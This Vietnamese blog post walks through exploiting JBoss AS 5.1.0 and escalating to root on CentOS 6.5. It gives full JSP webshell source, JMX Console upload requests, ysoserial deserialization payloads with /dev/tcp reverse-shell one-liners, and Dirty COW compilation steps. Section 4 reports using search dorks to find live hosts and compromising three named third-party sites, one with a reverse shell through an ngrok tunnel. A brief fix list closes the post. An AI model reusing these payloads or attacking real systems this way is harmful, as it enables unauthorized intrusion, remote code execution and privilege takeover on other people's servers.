---
# System prepended metadata

title: "Quá trình khai thác và privilege escalation trong Linux \U0001F976"
tags: [linux-kernel, linux, java-deserialization, jboss, redteam]

---

# Quá trình khai thác và privilege escalation trong Linux 🥶

<style>body {text-align: justify}</style>

Bài blog dưới đây sẽ đi qua các lỗ hổng có trong JBoss Application Server v5.1.0, dẫn đến RCE và leo thang đặc quyền trong CentOS 6.5.

### 1. Môi trường

- *CentOS 6.5*: Download tại https://vault.centos.org/6.5/isos/x86_64/ và install theo https://www.tranvanbinh.vn/2019/12/huong-dan-cai-at-he-ieu-hanh-centos-65.html.

    ![](https://hackmd.io/_uploads/BJBHnfJS2.png)

- *JBoss AS 5.1.0*: Download 1 trong 2 bản sau tại https://sourceforge.net/projects/jboss/files/JBoss/JBoss-5.1.0.GA/. Sau đó chỉ việc unzip và start file `run.sh` tại folder `jboss-5.1.0.GA/bin` để chạy ứng dụng tại port 8080 mặc định.

    ![](https://hackmd.io/_uploads/HytVQQySn.png)
    
    Nếu muốn chạy ứng dụng trên tất cả network interfaces thì thực thi lệnh `./run.sh -b 0.0.0.0`.
 

### 2. Khai thác các lỗ hổng trên JBoss AS 5.1.0

**[CVE-2007-1036]** Cấu hình mặc định của JBoss không giới hạn truy cập đến (1) console và (2) web management interfaces, dẫn đến các kẻ tấn công có thể bypass authentication và lấy được quyền quản trị thông qua các requests trực tiếp.

![](https://hackmd.io/_uploads/Bk8_lPJH2.png)

#### 2.1 Bypass authentication trang quản trị `Administrator Console` để upload webshell.

JBoss mặc định expose trang `Administrator Console` và sử dụng tài khoản mặc định `admin:admin` để truy cập. 

![](https://hackmd.io/_uploads/HylJ-DkSn.png)

Khi đã đăng nhập và truy cập thành công, attacker hoàn toàn chiếm quyền sở hữu của admin với đầy đủ phương thức để RCE. Ở đây mình sẽ demo RCE thông qua việc upload webshell.

Cụ thể, trang admin có chức năng upload 1 standalone web application ở dạng `.war`. Click `Add a new resource` để upload webshell.

![](https://hackmd.io/_uploads/rylObWwkr2.png)

##### Cách tạo webshell application

Trước tiên, ta sẽ cần biết cách tạo standalone web application trong java.

- *Bước 1:* Tạo thư mục WEB-INF
- *Bước 2:* Tạo 1 file `shell.jsp` nằm ngoài thư mục trên, với chức năng thực thi OS command bằng hàm `Runtime.getRuntime().exec()` như sau:

```html
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML>
    <BODY>
    Commands with JSP
    <FORM METHOD="GET" NAME="myform" ACTION="">
        <INPUT TYPE="text" NAME="cmd">
        <INPUT TYPE="submit" VALUE="Send">
    </FORM>
    <pre>
        <%
        if (request.getParameter("cmd") != null) {
            out.println("Command: " + request.getParameter("cmd") + "<BR>");
            Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
            OutputStream os = p.getOutputStream();
            InputStream in = p.getInputStream();
            DataInputStream dis = new DataInputStream(in);
            String disr = dis.readLine();
            while ( disr != null ) {
                out.println(disr);
                disr = dis.readLine();
            }
        }
        %>
    </pre>
    </BODY>
</HTML>
```
- *Bước 3:* Tạo file `WEB-INF/web.xml` với nội dung:
```xml
<?xml version="1.0" ?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
         version="2.4">

    <servlet>
        <servlet-name>Shell</servlet-name>
        <jsp-file>/shell.jsp</jsp-file>
    </servlet>

</web-app>
```

- *Bước 4:* Tạo file `shell.war` bằng câu lệnh `jar cvf shell.war WEB-INF shell.jsp`

Lúc này, ta đã có webshell `shell.war` và chọn nó để deploy.

![](https://hackmd.io/_uploads/SJNEZPyBn.png)

Deploy thành công và ta thấy web application `shell.war` đã xuất hiện.

![](https://hackmd.io/_uploads/HkkUzPkB2.png)

Thực hiện truy cập `http://<IP:PORT>/shell/shell.jsp` để vào webshell và thực thi RCE.

![](https://hackmd.io/_uploads/H1f_MPkrh.png)

Để reverse shell đối với hàm `Runtime.getRuntime().exec(String command)`, sử dụng payload trong https://github.com/welk1n/ReverseShell-Java:

```
bash -c bash${IFS}-i${IFS}>&/dev/tcp/IP/PORT<&1
```

![](https://hackmd.io/_uploads/HyihFTgHh.png)

#### 2.2 Upload webshell tại `JMX Console`

Việc JBoss expose trang `JMX Console` cũng có thể giúp unathenticated attacker dễ dàng upload webshell.

![](https://hackmd.io/_uploads/r1mUYixH2.png)

##### 2.2.1 jboss.admin:service=DeloymentFileRepository

Tại service `DeloymentFileRepository`, 

![](https://hackmd.io/_uploads/SJroajxSh.png)

cho phép lưu trữ 1 standalone web app bằng chức năng `store` với 5 tham số.

![](https://hackmd.io/_uploads/HyLrAoxrn.png)

Thử invoke với các tham số bất kì, rồi thực hiện chỉnh sửa request để nó store webshell như sau:

![](https://hackmd.io/_uploads/SkoAbher2.png)

```!
GET /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin%253Aservice%253DDeploymentFileRepository&methodIndex=5&arg0=shell.war&arg1=shell&arg2=.jsp&arg3=%3c%25%40%20%70%...%72%29%3b%0a%64%69%73%72&arg4=True HTTP/1.1
Host: 192.168.127.128:8080
Connection: close
```

Trong đó:
- `action=invokeOp`: invoke operation **store**.
- `name=jboss.admin:service=DeloymentFileRepository`.
- `methodIndex=5`: chính là index của operation **store** trong list các operation.
- `arg0=shell.war`: chính là tên file standalone web application.
- `arg1=shell&arg2=.jsp`: chính là `shell.jsp` trong `shell.war`.
-  `arg3=urlencode(<WEBSHELL shell.jsp>)`: chính là source code của file `shell.jsp` đã tạo giống trên ở dạng urlencode.
- `arg4=True`.

Sau khi gửi request thì đợi tầm 1 phút thì webshell được deploy và ta có thể RCE.

![](https://hackmd.io/_uploads/rJBL7nlHn.png)

Reverse shell tương tự cách làm ở trên.

![](https://hackmd.io/_uploads/HyihFTgHh.png)

##### 2.2.2 jboss.deployment:flavor=URL,type=DeploymentScanner

Tại chức năng `DeploymentScanner` này, ta cũng có thể upload webshell qua URL.

![](https://hackmd.io/_uploads/SJohQhlr2.png)

Chức năng `addURL` cho phép ta đưa vào URL chứa file `shell.war` cần upload.

![](https://hackmd.io/_uploads/S10u42grn.png)

Host file `shell.war` và truyền URL vào.

![](https://hackmd.io/_uploads/H126EnlSh.png)

Sau khi gửi request thì đợi tầm 1 phút thì webshell được deploy và ta có thể RCE.

![](https://hackmd.io/_uploads/rJBL7nlHn.png)

Ta cũng dễ dàng reverse shell.

![](https://hackmd.io/_uploads/HyihFTgHh.png)

#### 2.3 [CVE-2015-7501] Insecure Deserialization tại web application `invoker`

Tại standalone web app `invoker`, tồn tại 2 endpoint dính insecure deserialization:
- `/invoker/JMXInvokerServlet`
- `/invoker/EJBInvokerServlet`

Cụ thể, tại `server/all/deploy/httpha-invoker.sar/invoker.war/WEB-INF/web.xml` cho ta biết được `JMXInvokerServlet` sẽ handle các request đến `/JMXInvokerServlet/*` và `EJBInvokerServlet` sẽ handle các request đến `/EJBInvokerServlet/*`.

![](https://hackmd.io/_uploads/H15LoO1S3.png)

Cả 2 servlet này `JMXInvokerServlet` và `EJBInvokerServlet` đều sử dụng class `org.jboss.invocation.http.servlet.InvokerServlet`. Và đọc description có thể thấy nó sẽ nhận các *serialized MarshalledInvocation objects* qua POST requests.

![](https://hackmd.io/_uploads/B1uFod1S2.png)

![](https://hackmd.io/_uploads/ry_f3ukB3.png)

Tìm class InvokerServlet để đọc, thì thấy khi nó nhận POST request, nó se gọi `processRequest()`. trong đó, thực hiện deserialize user input và ép kiểu thành `MarshallledInvocation` mà không có cơ chế validate hay sanitize user input.

![](https://hackmd.io/_uploads/H19vn_1H3.png)

Để ý jboss có sử dụng thư viện Commons Collections, liền tạo payload `CommonsCollections1` dạng base64 với ysoserial thực hiện reverse shell về port 4444 đang lắng nghe.

```
java -jar ysoserial.jar CommonsCollections1 "bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.127.1/4444<&1" 2>nul | base64 -w0
```

![](https://hackmd.io/_uploads/rJ5T5plSh.png)

Endpoint `/invoker/JMXInvokerServlet`: POST với payload vừa tạo với chức năng decode base64 bởi Hackvector để gửi dạng binary. Gửi request và ta thấy reverse shell thành công.

![](https://hackmd.io/_uploads/Bk_asTgB2.png)

Tương tự với endpoint `/invoker/EJBInvokerServlet`.

![](https://hackmd.io/_uploads/Hki7nplH3.png)

#### 2.4 [CVE-2015-7501] Insecure Deserialization tại web application `web-console`

Tại standalone web app `web-console`, tồn tại lỗ hổng insecure deserialization tại endpoint `/web-console/Invoker`.

Để ý, tại `server/all/deploy/management/console-mgr.sar/web-console.war/WEB-INF/web.xml` cho biết servlet `HTTP Invocation` sẽ handle các request đến `/Invoker/*` (tức là `/web-console/Invoker/*` do đây là app `/web-console`)

![](https://hackmd.io/_uploads/HyBAcdyBn.png)

Và servlet `HTTP Invocation` sử dụng class `org.jboss.console.remote.InvokerServlet`.

![](https://hackmd.io/_uploads/HyfxiuyS2.png)

Ta cần xem source code của class `InvokerServlet` đó. Để ý thấy, `server/default/deploy/management/console-mgr.sar` chứa file `console-mgr-classes.jar`. Lấy nó đi decompile và ta xem được source code `InvokerServlet.java`.

![](https://hackmd.io/_uploads/S1aH5ukSh.png)

`InvokerServlet` này cũng deserialize user input mà không có sanitize ở hàm `processRequest()`.

![](https://hackmd.io/_uploads/HkU75OyHh.png)

Ta tạo payload reverse shell `CommonsCollections1` dạng base64 với ysoserial.

```
java -jar ysoserial.jar CommonsCollections1 "bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.127.1/4444<&1" 2>nul | base64 -w0
```

Send payload với chức năng decode base64 của Hackvector, ta reverse shell thành công.

![](https://hackmd.io/_uploads/r1R9npgBh.png)


### 3. Leo thang đặc quyền trên CentOS 6.5

Sau khi reverse shell thông qua các lỗ hổng trên của JBoss AS 5.1.0, ta sẽ thực hiện tìm lỗ hổng trên CentOS 6.5 để leo quyền lên *root*.

Sử dụng `linpeas`, ta thấy có vẻ hệ thống dính CVE-2016-5195 vì sử dụng Linux Kernel version 2.6.32 dính lỗi.

![](https://hackmd.io/_uploads/BJL9w7K42.png)

> 👻 CVE-2016-5195: Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW."

Sử dụng lỗ hổng này, ta có thể ghi đè account root với user mới. Tham khảo payload tại https://raw.githubusercontent.com/firefart/dirtycow/2580beeef4063124df89d0f650e5f199fcdd09ff/dirty.c. Cụ thể payload sẽ ghi đè user `root` thành user `firefart` với password tự định nghĩa.

Download source code của payload về máy victim.

![](https://hackmd.io/_uploads/S1V2yAeBn.png)

Theo đó ta thực hiện các bước như sau:

```
gcc -pthread dirty.c -o dirty -lcrypt
./dirty or ./dirty new-passwd
```

Compile và ghi đè root thành user `firefart` với password `pwned`.

![](https://hackmd.io/_uploads/H1KdD0xrh.png)

Kiểm tra `/etc/passwd` đã thấy ghi đè thành công.

![](https://hackmd.io/_uploads/HkHAvRxSh.png)

Switch sang `firefart` và ta leo quyền thành công.

![](https://hackmd.io/_uploads/rJ_1FAlH2.png)

### 4. Tấn công các target có trên Internet

Dựa vào cách thức tấn công trên, ta thử đi tấn công một số target có trên internet. Có thể sử dụng google dorking như sau: `inurl:/web-console/serverinfo.jsp`

#### 4.1. `https://teste.sipac.ufpa.br/`

Trigger insecure deserialization tại `/invoker/JMXInvokerServlet`

![](https://hackmd.io/_uploads/BJb56HFV2.png)

Reverse shell với ngrok tại port 4444.

```
ncat -lvnp 4444
ngrok tcp 4444
```
![](https://hackmd.io/_uploads/S1hApHKNn.png)

Tạo payload với ysoserial với ngrok domain vừa tạo.

```
java -jar ysoserial.jar CommonsCollections1 "bash -c bash${IFS}-i${IFS}>&/dev/tcp/0.tcp.jp.ngrok.io/18104<&1" 2>nul | base64 -w0
```

Gửi request,

![](https://hackmd.io/_uploads/SJvhartN3.png)

và ta reverse shell thành công.

![](https://hackmd.io/_uploads/BJd1ASt43.png)


#### 4.2. `https://helpdesk.service.irm.si/`

Upload webshell với chức năng store tại `jboss.admin:service=DeloymentFileRepository`.

![](https://hackmd.io/_uploads/rk6Af8YN3.png)

#### 4.3. `https://certs.main.marposs.net/`

Upload webshell với chức năng store tại `jboss.admin:service=DeloymentFileRepository`.

![](https://hackmd.io/_uploads/B1SUrIFE3.png)

### 5. Cách fix

-  Update CentOS lên phiên bản mới nhất.
-  Thay đổi tài khoản không phải mặc định của JBoss
-  Không expose các chức năng console và web management interfaces ra public.

**References**
- https://github.com/joaomatosf/jexboss
- https://issues.redhat.com/browse/JBAS-9535?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
- https://docs.jboss.org/jbossas/6/Admin_Console_Guide/en-US/pdf/Admin_Console_Guide.pdf
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/JBoss%20CVE-2015-7501.py
- https://raw.githubusercontent.com/firefart/dirtycow/2580beeef4063124df89d0f650e5f199fcdd09ff/dirty.c
- https://medium.com/@madrobot/exploiting-jboss-like-a-boss-223a8b108206

###### tags: `redteam`, `linux`, `jboss`, `linux-kernel`, `java-deserialization`.